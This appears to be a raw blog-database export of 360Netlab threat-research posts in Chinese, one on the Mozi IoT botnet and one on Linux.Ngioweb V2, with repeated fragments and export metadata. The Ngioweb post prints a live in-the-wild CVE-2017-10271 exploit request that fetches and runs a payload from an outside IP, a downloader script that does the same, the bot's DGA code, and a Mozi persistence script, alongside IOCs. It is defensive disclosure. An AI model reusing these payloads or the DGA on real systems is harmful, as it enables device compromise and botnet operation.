以下是获取C2：PORT的代码片段
以下是发送上线包的代码片段
以下是发送心跳的代码片段
以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。
2：增加了外网地址
通过http://ipinfo.io/ip获取外网IP以便在在Telnet，Exploit的payload使用。
加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。
3：增加了upnp端口映射
当被感染的设备是通过NAT访问网络时，Mozi通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的AddPortMapping在路由器上实现端口映射，以保证服务的正常访问。
技术总结
我们可以看出这些更新都是为了提高效率：DDoS的效率，传播的效率。通过cnc子任务，重构攻击模块，弃用Gafgyt的攻击代码，转向更有效率的Mirai，实现控制节点与业务节点的分离，极大的增加了Mozi Botnet的网络弹性。花费如此多力气在DDos方面，我们有理由相信在将来能看到其在攻击方面的大动作。
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"### 背景介绍\n我们注意到近期有多家厂商：奇安信、深信服、微软等，都对Mozi僵尸网络进行了跟踪分析，同时多家网络安全媒体也有相关跟踪报道。\n\n我们觉得有必要向安全社区披露部分信息:\n* Mozi僵尸网络没有再更新，幕后作者已经被逮捕\n* Mozi僵尸网络主业是色情网站，副业才是僵尸网络\n* Mozi僵尸网络历史版本技术分析\n\n2019年9月3号，360公司捕获到Mozi僵尸网络相关样本，并于2019年12月23号首发披露Mozi僵尸网络[[1]](__GHOST_URL__/p2p-botnet-mozi/)。\n\nMozi是一个相对较新的物联网僵尸网络，以DHT协议建立P2P网络进行通信，主要通过10多种n-day漏洞利用和Telnet弱口令方式进行蠕虫式传播。\n\n\n### Mozi僵尸网络监控\nMozi僵尸网络至少有60%的肉鸡IP位于中国境内，主要分布在河南、山东、广东、北京等省份。通过360 Anglerfish蜜罐技术，我们监测Mozi僵尸网络传播趋势，掌握Mozi僵尸网络受害者IP、Mozi僵尸网络样本、漏洞利用攻击网络数据包等信息。\n<a href=\"__GHOST_URL__/content/images/2021/08/mozi_botnet_distribution.png\"><img src=\"__GHOST_URL__/content/images/2021/08/mozi_botnet_distribution.png\" class=\"kg-image\"/></a>\n\n在2020年9月份，Mozi僵尸网络大规模暴涨，我们分析出这是因为几组Telnet弱口令导致印度和中国的大量设备被入侵并植入Mozi僵尸网络，其最高活跃IP在16万/日。\n<a href=\"__GHOST_URL__/content/images/2020/11/Mozi_stats.png\"><img src=\"__GHOST_URL__/content/images/2020/11/Mozi_stats.png\" class=\"kg-image\"/></a>\n\n目前，Mozi僵尸网络Bot样本程序已经不再更新，但原有的Bot节点仍在进行蠕虫式传播。\n\n### 主业是色情网站，副业才是僵尸网络\n1）51.la统计代码\nMozi僵尸网络的管理者使用了51.la提供的统计代码服务来统计感染数量。\n```\nhttps://web.51.la/report/online?comId=20198527\nhttps://web.51.la/report/online?comId=17675125 \nhttps://web.51.la/report/online?comId=19894027\n```\n\n2）色情网站浮出水面\n通过360 PassiveDNS系统，我们根据`115.144.69.117`关联分析得到相关色情网站域名。\n<a href=\"__GHOST_URL__/content/images/2021/08/flint.png\"><img src=\"__GHOST_URL__/content/images/2021/08/flint.png\" class=\"kg-image\"/></a>\n\n\n### Mozi僵尸网络的v2s版本变化\n<a href=\"__GHOST_URL__/content/images/2020/11/newmozi_network_cn.png\"><img src=\"__GHOST_URL__/content/images/2020/11/newmozi_network_cn.png\" class=\"kg-image\"/></a>\n\n\n### 逆向分析\n### 1：bot样本下载服务\n- 本地主机提供\n被mozi感染的节点监听随机TCP端口提供样本下载服务，当接收到\"/c\"参数，返回\"loginok\"；其余任何参数，均返回bot样本。\n<a href=\"__GHOST_URL__/content/images/2020/11/newmozi_login.png\"><img src=\"__GHOST_URL__/content/images/2020/11/newmozi_login.png\" class=\"kg-image\"/></a>\n- 远程主机提供方案a\n由Config文件中的```[dip]```字段指定主机提供样本下载服。\n<a href=\"__GHOST_URL__/content/images/2020/11/newmozi_dip.png\"><img src=\"__GHOST_URL__/content/images/2020/11/newmozi_dip.png\" class=\"kg-image\"/></a>\n- 远程主机提供方案b\n有.ipds文件提供,示例如下\n```\n95.32.206.163:56398:.m,219.85.186.25:53672:.7,95.32.76.42:53856:.m,45.176.110.210:39149:.m,5.42.38.186:38576:.m,121.182.147.179:60858:.l,213.65.244.86:40814:.m,\n```\n## 样本分析\n\n据统计，此次大规模活动样本为ARM，MIPS俩个CPU架构，本文选取ARM架构的样本为分析对象，样本信息如下\n\n> MD5:b9e122860983d035a21f6984a92bfb22\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n> Lib: uclibc\n> Packer:UPX\n\n此样本中采用UPX加壳，对抗手法依然是将p_filesize & p_blocksize抹零。我们根据```botvX/config.c```字串将Mozi分成了3个版本，此样本脱壳后已没有此标识，但是有另一字串```botv2```，因此我们推测，这属于V2的一个分支。随后在网络流量中，证实了我们的推测，此次大规模活动样本的版本号为```v2s```。\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_version.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_version.PNG\" class=\"kg-image\"/></a>\n简单地从功能层面上来看，Mozi Botnet由名为Config的Payload驱动，执行Payload里指定的各种子功能。新旧版本所支持的子功能对比如下图所示\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_compare.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_compare.PNG\" class=\"kg-image\"/></a>\n\n我们已经在上一篇文章详细的分析Mozi Botnet的实现细节，有兴趣的读者可以自行查阅。本文将着重介绍Mozi Botnet的变化以及新特性。\n## 持久化\n* /etc/init.d/S95baby.sh\n```\n#!/bin/sh\n/usr/networks&\n```\n\n* /usr/networks\n* /usr/networkstmp\n## 变化&新特性\n作为一个面世不算久的P2P Botnet，Mozi的设计上固然有其精巧的地方，但同时也存在一些缺陷：全部Bot节点同步Config存在效率问题；没有考虑到被感染的Bot节点没有公网IP导致后续感染失败等。在此次分析的Bot样本中，我们看到了Mozi作者对上述问题做出了改进。\n\n### 1：新增cnc子任务\n\n增加了这个子任务后，Mozi Botnet要进行攻击时，不再需要通过一次一次同步Config获取攻击目标，只需同步一次Config，得到指定的C2即可。整个子任务复用了Mirai的代码的，通过```[cnc]```关键字指定C2，Bot通过Mirai协议和C2建立通信后，等待C2下发的指令进行DDoS攻击。\n\n以下是获取C2：PORT的代码片段\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_mirai.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_mirai.PNG\" class=\"kg-image\"/></a>\n\n以下是发送上线包的代码片段\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_initmsg.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_initmsg.PNG\" class=\"kg-image\"/></a>\n\n以下是发送心跳的代码片段\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_heartbeat.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_heartbeat.PNG\" class=\"kg-image\"/></a>\n\n以下是支持的攻击向量，一共有12种方法，编号11被写了2次，因此Mozi的Bot节点只支持11种攻击方法。\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_ddos.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_ddos.PNG\" class=\"kg-image\"/></a>\n\n\n### 2：增加了外网地址\n\n通过```http://ipinfo.io/ip```获取外网IP以便在在Telnet，Exploit的payload使用。\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_ip.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_ip.PNG\" class=\"kg-image\"/></a>\n\n\n加入这个特性之后不会再有下面内网ip出现在传播payload的情况了。\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_error.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_error.PNG\" class=\"kg-image\"/></a>\n\n\n### 3：增加了upnp端口映射\n\n当被感染的设备是通过NAT访问网络时，Mozi通过监听端口在设备上开启的HTTP样本下载服务是无法被外网直接访问的，新版本的Mozi通过upnp的```AddPortMapping```在路由器上实现端口映射，以保证服务的正常访问。\n<a href=\"__GHOST_URL__/content/images/2020/10/newmozi_upnp-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/10/newmozi_upnp-1.PNG\" class=\"kg-image\"/></a>\n\n## 技术总结\n我们可以看出这些更新都是为了提高效率：DDoS的效率，传播的效率。通过cnc子任务，重构攻击模块，弃用Gafgyt的攻击代码，转向更有效率的Mirai，实现控制节点与业务节点的分离，极大的增加了Mozi Botnet的网络弹性。花费如此多力气在DDos方面，我们有理由相信在将来能看到其在攻击方面的大动作。\n\n\n\n\n\n\n"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f98eaa17646030007b295fe |
post | null | 2020-11-09T12:43:37.000Z | 63873b9a8b1c1e0007f52f8b | linux-ngioweb-v2-going-after-iot-devices | 0 | 2020-11-13T07:16:50.000Z | public | published | null | 2020-11-12T10:32:25.000Z | Linux.Ngioweb变种正在攻击IOT设备 | <!--kg-card-begin: markdown--><h2 id="">背景介绍</h2>
<p>2019年6月21日，我们向社区公布了一个新的Proxy Botnet，Linux.Ngioweb的分析报告。</p>
<p>2020年8月4日，360Netlab未知威胁检测系统捕获到一批VT零检测的疑似Ngioweb的ELF文件，经分析，我们确定它们属于同一个变种，简单地将其命名为<code>Ngioweb V2</code>。</p>
<p>2020年8月16日，360Netlab蜜罐系统发现攻击者陆续使用了9个Nday漏洞传播Ngioweb V2样本，涉及到x86(32/64), ARM(32/64), MIPS(MIPS32/MIPS-III) 以及 PPC，Hitachi SH，IBM S/390等CPU架构，标志着Ngioweb开始攻击IOT设备。同时支持众多的CPU架构，尝试众多Nday漏洞传播也彰显了其作者急欲扩张的企图。</p>
<p>2020年11月5日，友商IntezerLabs在VT上发现一个名为bins.october的压缩包，里面包含了多个编译器产生的50个Ngioweb样本，同样涉及全部的流行CPU架构。</p>
<p>基于Ngioweb长时间的活跃，VT上极低的检测率，以及开始攻击IOT设备等原因，我们决定编写本文，披露Ngioweb V2的一些技术细节&IOC，以便社区更好地识别，打击Ngioweb Botnet。</p>
<h2 id="linuxngioweb">Linux.Ngioweb概览</h2>
<p>Linux.Ngioweb Bot样本的主要功能是在受害者的机器上实现Back-Connect Proxy[<a href="https://hide-ip-proxy.com/what-is-a-backconnect-proxy/">1]</a>。攻击者将多个Bot构建为一个Proxies Pool，并通过双层C2协议控制，然后提供Rotating Reverse Proxy Service。</p>
<p>目前我们将Linux.Ngioweb分成了V1，V2俩个版本，他们的核心功能是一样的，最大的区别在于V2将许多之前明文存在stack上的信息，集中的做成了一个 配置，使用AES加密存储在DATA段中，主要对比如下所示<br>
<a href="__GHOST_URL__/content/images/2020/11/ngio_compare.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngio_compare.PNG" class="kg-image"/></a></p>
<h2 id="">传播方式</h2>
<p>Ngioweb V2通过Nday漏洞传播，所利用的漏洞如下所示，可以看出并没有特定的偏好设备。</p>
<ul>
<li><a href="https://www.exploit-db.com/exploits/28484">CVE_2013_3568</a></li>
<li><a href="https://www.exploit-db.com/exploits/46400">CVE_2019_8387</a></li>
<li><a href="https://github.com/jas502n/CVE-2020-14882">CVE_2020_14882</a></li>
<li><a href="https://www.exploit-db.com/exploits/37171/">D-Link Devices - HNAP SOAPAction-Header RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/41471/">JAWS_DVR_RCE</a></li>
<li><a href="https://www.exploit-db.com/exploits/40212">NVRmini_cgisys</a></li>
<li><a href="https://www.exploit-db.com/exploits/38449">Netgear_Voice_GW_RCE</a></li>
<li><a href="__GHOST_URL__/in-the-wild-qnap-nas-attacks-en/">QNAP_NAS_QPS_SID_RCE</a></li>
<li><a href="https://github.com/c0mmand3rOpSec/CVE-2017-10271">CVE-2017-10271</a></li>
</ul>
<p>以CVE-2017-10271为例，在野payload如下所示</p>
<pre><code>POST /w**/CoordinatorPortType HTTP/1.1
Host: {}7401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml;charset=UTF-8
Content-Length: 564
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><object class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/sh</string></void><void index="1"><string>-c</string></void><void index="2"><string>cd /tmp;wget http://94.102.50.143/WSW0;chmod +x WSW0;sh WSW0;rm WSW0</string></void></array><void method="start"/></object></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>
</code></pre>
<p>对应的下载脚本如下所示，功能非常简单就是下载执行Ngioweb样本，然后自删除。</p>
<pre><code>#!/bin/sh
n="QILU TYEQ CNII WTBK AJYZ NNVY FBRW WSMK VTLE ONRB"
if [ $# -gt 0 ]; then
n=$@
fi
cd /tmp
for a in $n
do
rm $a
wget http://94.102.50.143/$a
chmod +x $a
./$a
done
for a in $n
do
rm -rf $a
done
rm $0
</code></pre>
<h2 id="bot">Bot规模</h2>
<p>我们注册了V1版本的DGA域名，从域名请求量看V1版本的bot其日活Bot IP数量在3k左右。<br>
<img src="__GHOST_URL__/content/images/2020/11/Snip20201110_5.png" alt="Snip20201110_5" loading="lazy"></p>
<p>从360Netlab的DNSMon系统对V2生成的DGA域名的请求来看，估计其bot规模在2k～3k左右，与sinkhole的数量基本持平。</p>
<h3 id="dnsmon">DNSMon的阻断</h3>
<p>DNSMon对Ngioweb的DGA域名有较好的拦截效率。从DGA域名的请求记录实际情况来看，DNSMon的拦截比例达到了98.99%。</p>
<h2 id="linuxngiowebv2">Linux.Ngioweb V2逆向分析</h2>
<p>此次大规模活动样本几乎包含了的所有流行的CPU架构，本文选取X64架构的样本为分析对象，样本信息如下</p>
<blockquote>
<p>MD5:ce4c23642878788ecaedd0903663244d</p>
<p>ELF 64-bit LSB executable, AMD x86-64, version 1 (SYSV), statically linked, stripped</p>
<p>Packer:None</p>
<p>Lib:uclibc</p>
</blockquote>
<p>如前文所述Ngioweb V2的核心功能并没有变化，感兴趣的读者，可以翻阅我们的上一篇文章[<a href="__GHOST_URL__/an-analysis-of-linux-ngioweb-botnet/">2]</a>。下文将着重介绍Ngioweb V2的新特性。在Ngioweb V1样本中，敏感的资源配置信息如C2，数字签名公钥，上报入口等都使用<code>Stack Strings Obfuscationr</code>技术进行存储，防止被安全人员一眼看破，有一定的作用，但效果有限。V2样本则做得显得更加隐蔽，将这些信息集中加密存储，<code>在一定程序上增加了样本层面的检测难度</code>；同时V2样本运行向C2上报设备信息的入口不再固定，<code>在一定程度上增加了网络流量层面的检测难度</code>。</p>
<h3 id="1aes">新特性1：配置信息使用AES加密</h3>
<p>Ngioweb V2 Bot样本将DGA种子，DGA产生domain数量，C2 , 数据签名公钥，上报信息入口等信息统一存储在一个配置中，此配置使用AES加密存储。当需要使用其中的信息时解密，用完后就销毁，防止敏感信息简单地通过内存dump被抓取。</p>
<p>Ngioweb的一大特点是动态生成加解密算法所需要的常量表，这种方式加大安全研究员的分析难度。</p>
<p><a href="__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_aes.PNG" class="kg-image"/></a></p>
<p>AES加密使用ECB模式，无填充，秘钥以及密文存储在DATA段中，前32字节为秘钥，接着512字节为密文。<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_aesdec.PNG" class="kg-image"/></a></p>
<p>以下密文为例<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_cipher.PNG" class="kg-image"/></a></p>
<p>解密得到配置信息，例如其中的C2为<code>185.44.75.125:443, 79.141.168.119:443</code><br>
<a href="__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiowebv2_plain.PNG" class="kg-image"/></a></p>
<h3 id="2dga">新特性2：DGA种子以及数量不固定</h3>
<p>Ngioweb使用DGA产生的domain作为硬编码C2的补充，在V1 ,V2 Bot样本中，DGA的实现的没有变化。</p>
<p>具体实现如下</p>
<pre><code>uint64_t GenSeed(uint32_t& seed, uint32_t mod)
{
uint32_t tmp = 0x41C64E6D * seed + 0x3039;
seed = tmp;
return tmp % mod;
}
string dga(uint32_t& seed)
{
char* HeadBuf[] = { "un", "under", "re", "in", "im", "il", "ir", "en", "em",
"over", "mis", "dis", "pre", "post", "anti","inter",
"sub", "ultra", "non", "de","pro", "trans", "ex",
"macro", "micro", "mini","mono", "multi", "semi", "co" };
char* BodyBufA[] = {"able","ant","ate","age","ance","ancy","an","ary",
"al","en","ency","er","etn", "ed", "ese","ern","ize",
"ify","ing","ish","ity","ion","ian","ism","ist","ic","ical",
"ible","ive","ite","ish","ian","or","ous","ure" };
char* BodyBufB[] = {"dom","hood","less","like","ly","fy","ful","ness",
"ment","sion","ssion","ship","ty","th","tion","ward" };
char* TailBuf[] = { ".net",".info",".com",".biz",".org",".name" };
string BlockBufA = "aeiou";
string BlockBufB = "bcdfghklmnprstvxz";
string domain;
uint32_t dashloop = GenSeed(seed, 3) + 1;
while (dashloop--)
{
domain += HeadBuf[GenSeed(seed, 0x1e)];
int flag = 0;
int i = 0;
if (BlockBufA.find(domain.back()) == string::npos)
flag = 1;
int fillcnt = GenSeed(seed, 0x3) + 4;
while (fillcnt > i)
{
if (flag + i & 1)
domain += BlockBufA[GenSeed(seed, 0x5)];
else
domain += BlockBufB[GenSeed(seed, 0x11)];
i++;
}
if (BlockBufA.find(domain.back()) == string::npos)
domain += BodyBufA[GenSeed(seed, 0x23)];
else
domain += BodyBufB[GenSeed(seed, 0x10)];
if (dashloop != 0)
domain += "-";
}
return domain += TailBuf[GenSeed(seed, 0x6)];
}
</code></pre>
<p>在V1中DGA Seed为硬编码的0x05397FB1，产生的domain总数为300。<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov1_dga.PNG" class="kg-image"/></a></p>
<p>在V2中DGA Seed，以及产生的domain总数均由配置信息指定。<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_dga.PNG" class="kg-image"/></a></p>
<p>目前我们一共得到以下4对Seed&Total Count的组合，对应所产生的DGA domain见IOC部分。</p>
<table>
<thead>
<tr>
<th>Seed</th>
<th>Total Count</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x01275c63</td>
<td>0x12c</td>
</tr>
<tr>
<td>0x01275c63</td>
<td>0x3e8</td>
</tr>
<tr>
<td>0x04bc65bc</td>
<td>0x12c</td>
</tr>
<tr>
<td>0x00375d5a</td>
<td>0x400</td>
</tr>
</tbody>
</table>
<h3 id="3">新特性3：上报信息入口不固定</h3>
<p>在V1中，上报信息的入口为硬编码的<code>/min.js</code><br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov1_entry.PNG" class="kg-image"/></a></p>
<p>产生的数据包如下所示<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov1_packet.PNG" class="kg-image"/></a></p>
<p>在V2中，上报信息的入口由配置信息指定。</p>
<p>产生的数据包如下所示<br>
<a href="__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG"><img src="__GHOST_URL__/content/images/2020/11/ngiov2_packet.PNG" class="kg-image"/></a></p>
<p>目前我们一共得到下以3组入口信息。</p>
<table>
<thead>
<tr>
<th>Report entrance</th>
</tr>
</thead>
<tbody>
<tr>
<td>/min.js</td>
</tr>
<tr>
<td>/zvyaga</td>
</tr>
<tr>
<td><code>http://185.44.75.125:443/metric</code></td>
</tr>
</tbody>
</table>
<h2 id="">联系我们</h2>
<p>感兴趣的读者，可以在 <a href="https://twitter.com/360Netlab">twitter</a> 或者在微信公众号 360Netlab上联系我们。</p>
<h2 id="ioc">IOC</h2>
<h3 id="smaplemd5">Smaple MD5</h3>
<pre><code>bdaf967a6aef57d135b0806192884edc
7f26365e8d1e1a6ad8199bdddd4e9b3a
0840951a0c3219db5607754bcdbc1ac1
d29fb0306ee4b8cfe18c339ee42a98f9
305a600d309c1bda9e731803e3efca97
fb469128e67aad899a2b6709cbfe72a6
19020682555fa33ecf98a11fed499ea9
b4e5cecdff73f66786f87c1238912003
2818dfd8337fbb610f8910746c4219d8
d08e539c47100935fb8ba88a384f0305
f8263759c9111641d09c9fac6bcd9186
55ab7aa2ceadb3d30784123f2d534fdf
cc2ae0ccdf0b4ff94e9d8ab3646ecaa2
2b484c7f104fe8160022e04d056d1135
df84b40ac3bd56bd15ab1d8b4a2bc1a7
2d6ea04f1f55471113f37239e5e23b19
a20d3f09eebd4102157ecdebf9557326
4b608985b7f741b0f0ab9f3d59e48f03
492928276181ca030fc2e1099b27beb2
300e68b03d8fbef6ce29de4d386eacf3
4419982c5fb43367203dca14ae6c1311
f8fdf251acc39fdb4f4444fc7ceb1d0e
c2695139e23205b96fb07e7ea963216c
431028b7a672c4167ecc77e36df24236
61783c6433288689a280bb2640e5f2af
3e0088ec332172e42c50dd034b7eaae1
953bd5431f144a976474d7c78de526ec
3dacf45ff17ba5d6018d3f44c0ea4a02
30dcce7dfd26f59dee9895cb6c70d51b
2b7c98eb58062401c8cff9b5fe95b0a3
ff4dbfc96ffce74e5ea057e50e0496e3
2be2ab5752261a733b5267527fe65d44
a375f20090d9a58c66dc22dd37286d34
ce120caed6b72cb89918dd2b329ceeb9
01f50c3fc1223e3f96d28bc4cd2c3e56
5be121ae51e970d4d0a5c08590099d79
fc98d2deb8563292d830ba37bbb243ad
afb782061df074ef2852953f47206aaf
d417f515d24c56e05b9ac17cf6ab2ec3
10824897899469775974122075c14b56
0274956798c61a5eecb12d331835854e
0808dbe61524a6a2a901e6ab2ac66e24
e1b0b6943d0f209e51e6b5b6744e6a54
663e0cf63d6b3f25bb33fea0876f3ef0
052f9c2f465ab33d68957bc25c4e5c0b
04800a25ce6c8d15e553459deec68bb9
a086b7da8aaf7a27b67db00e69eb1b7a
77c9d66e1ace1f840ed0416ab365260e
ebb4b45ce5622d75762f62e631436bb2
ce4c23642878788ecaedd0903663244d
00aa9b52e2f3b6ad4426466d7ca5f523
00b2a36d4070983bab0953ce613d8d8b
0257a639039f86f159bc6a4a39cded34
036bc9217942fd5b15f654b4f5dab24f
05e3369b655e5033d0f74bb3296863b2
09d9c3b5f7cf1fec26f812d5250bfeb1
0ac1705fe969fa6ccd3f449aac008b4d
0f32884f84a366c047b95408316b2c52
10ad3d84b869e383f1e88d5fc134e912
1338e36265e8d45ba7689c918ef9b34a
147b2ea408bef641a2e9d3cb4f7aedb9
16956c0468e6e2b6665ac4bb81af3164
16edc8d0d4be1385e9ddadfc722deae4
178e0c03eb83fb6cebb11d29e0e47ec9
21e37846936908ac90e6802e92d991df
2c5e58573bf1783c4557d71f9f1a04b4
2c7d58b1c5c172f88de7dbc02805eac0
2e953b78a03b430e803bde99bc0c83e3
36578d0dd5685abe6c4ed063221c59d0
37a6966b4092317e0b4079bdf0f5b0a0
39aaf64bd70846d2fe7b77ebc42be8a3
39d57c1abd7ae2488cb435c1ebc6d49e
3bdf12f6aeb84d02119914e63ada932e
40e88784c93651cec9792487575842e9
418188e977fc3b280d8919287aeda05b
4293a45ee5cd00da5505c878bc4fee08
4efdc2e227fb4b5e61eb5220f9e6d7f4
505cafe9c309ce61113dcb24124d1eba
5077972350fce365d085e178f4668c8d
54c9be7cd4a9f57728352a3426b32e4f
5b55dce8baa9818de1b828a5ba6b80f4
6a566eeaab50e22eed6f01684d7521fd
6c66cf2f923aa9da1494c99d1938cfb6
72f00975e83856252b8c0c3c687254ef
7ab879bc960b409f17bcad39a0bf7e3b
7aea64456ab14dd5d4e060ebfcefd79d
7e85b4596f95d1d597c46fa72d348061
7e88eb10e9c67dc650a6ae4912d65e63
82cef032e2e0fcc9f5582cd5916b97b7
843f44acc93cbffadd271e4ef5e03103
89c3f65fccb06f914c68aca218b0679d
8e6ca6bd922574a44a0a43b32a58ba52
8e8fd75a560505878cd2c76dca2c7ffe
92e6185f8d2216eef77b8bcc7c730c57
94c41d49388acb0089948c3ec618bc53
9db1cbd2f1d2fbd26aa7c1934e1f182e
9fdfedf862f11146efd18b42f86268e1
a20ab64e41014fbc992f2dfcb11a10d1
a2967ffd179faaeaab49d48b1473db00
a6fd221cd729d08550acd53767154de3
b1af3254ae6111efa3e2cb85eacf8e99
b459053d209c6d188ba89f1097fed1da
b5985a3fc08623d58d72d342da722f03
b9ffd7e55c105ab52b81f66badf05846
bbcd3ca4fbc0b40b0c9149e6371b9432
bfaa39fb6a151b9a64e59ffd80aa1bc1
c46121de170ecd5560b459ccf9f7557b
c587740989c196806c0a9c5e8e07f127
c77aa0f78c48901d7cc34a871c67eea2
d2eeb2a760d7a453e9a895c6f161503d
d7d5cee215140b7511b03885db89cb18
e52e9f80bd81abc3e855a88fc77a4df4
e9cb10408706890e48c3758831a631c1
ea319e0ef1b4e3d65a7e4fc23397a20e
ead0e821c939ce0bd271f5c148f5c8ca
ebe39d80a817a090bc1e20c4517b4fb4
f225a03e407b0f32235d7dfdd333f95e
f2e28b01742757942c1ce5acbbb8ee00
f3cbf39e3e95bd3f39bf6dd4e38f5690
f4445e7cab5694e56008a6ac8382b0cc
f9ab5e1483fee74e78f81ee2d8c3992b
fb24abf484c484670be0444a7ae0f918
fca1611067d38b6ce3234886f0d24cb3
fe5e88679c091136f0ff3c4f5ded9775
feda5a6340a7f71a75c43f43a57b0c1d
</code></pre>
<h3 id="downloaderip">Downloader IP</h3>
<pre><code>31.14.40.107 ASN19624|Data_Room,_Inc Romania|Bucharest|Unknown
88.218.16.12 ASN50673|Serverius_Holding_B.V. Netherlands|Flevoland|Dronten
93.174.89.36 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.156 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.59.5 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
94.102.50.143 ASN202425|IP_Volume_inc Netherlands|North_Holland|Wormer
</code></pre>
<h3 id="stage1ipc2">Stage-1 IP C2</h3>
<pre><code>162.218.122.123:443
111.90.149.238:443
103.193.4.113:443
185.44.75.216:443
185.44.75.125:443
79.141.168.119:443
</code></pre>
<h3 id="stage1dgadomainseed0x01275c63count0x3e8">Stage-1 DGA Domain (seed=0x01275c63,count=0x3e8)</h3>
<pre><code>overobozikish-semipezavution-interigupant.com
protivapical-semiletuful.info
minikibocency-interorofuly-cotufuhify.com
proxekigite.net
exuvasuhern.biz
multinipebian.name
inuzodaless-iluxunency.com
exubokilike-antilifizement.biz
transumudate.org
misuradabite-minibelaped-interetukuxable.net
prexunevament-macrotelulike-antipucudument.name
disorihous-monofulefiful.name
enecixety.biz
transoxapakancy-antidukovify.net
subimemibate.name
iledozible.net
unumopafy-antimixaly.biz
interilurocary-provohiless.name
inuvelasure.com
exovifist-multiseferiness.com
subidekancy-ileratily.name
postosofaping-irikinalike.net
ememacotian-ultrakenikoward-exudetancy.info
minilavuxufy-microtuhaly.name
multimilufy-exirorary.info
ultracadopiship-exinuhilike.net
subasamuhal-overufaring-emedotifure.info
disadugous-microdopiful-disicivize.org
subuvusen.info
enozufety-inilorely.name
inocinossion.info
disanevisish-misanolazen.biz
transegunant.com
exelituhese-depifukary.info
interazimist-microlitonish.com
prefunidom-postaxugiment.biz
ilolulian-nonisotive-overenevecese.net
procihanoly-postutegism.net
semivudely-cocehiward-renesoful.name
ultrafisekian-multitecaness.org
reravugission-enulebuten.com
sububofahood-semigumudom.biz
transinoromite-prohetahety-ilapeben.net
renuxakassion-ultravavamilike.org
emufatohood-regunicotion.info
interixamily.name
minirehugeship-prefepedism-rezomabiment.biz
enefiling-semipisigical.net
irebition-cocusifify.biz
interaxomaty-enunamage-prebuzipure.com
uninicaxous.info
postobigahese-micronepodom.biz
macrogizofant.name
macrogucapofy-semifenaly-interusoboty.name
multitemaber-delutafy-unehonecism.info
minikibamize-interekekadom.name
disulahifing-prefuzetion.biz
underubulian.com
exovezufy.com
prehagovern-subapalaship-iripatixist.info
multimanibic-transirizikage.net
anticisubaless-overatexossion-ultrakidefalike.net
misutokahood.net
resibapese-iribelancy.biz
underefunible-subunizal.biz
ultracibeward-unimumanable.info
overasizous-semigofehify-emepaving.name
ultracuvupancy-multisacokency.name
disuxegance-unohupuship.com
unuramesion-antiximocable-premerudation.biz
transatidaly-intereducigism-unugiheth.com
micropigession-cosenath.net
exevetedism.biz
minixamesion.org
imedenese-inecucary-unoseluhood.org
subegivaward-semiluriful.info
transudakicern-exepagetn-ilonunety.name
ilidinurary-imelunern.info
enixihidom-covohipive-multixohelike.com
semicekument-disahezulible-nonahopohood.com
promucidaty-detupobant.info
macropuxolian-disatusopic.net
resiredeful-disamefese-nononutetn.info
multimovatiward.org
unifapath-pregohuhite.com
exofabity-posteramited.org
micromuniten-semirekiveful.name
ilaxovage-exezihoness.net
micromurocese-proniragance.com
prohufabament.biz
ilakihopity-irediletous-disatibant.net
semiborexoless-cocukuviship-unaderible.name
postatavexed-antitikadotion-demekimeness.net
subobekous-inohixical.com
semitinity-comoxuness.org
antisavuty-overulogolity.com
prokarumement-inanuvify.com
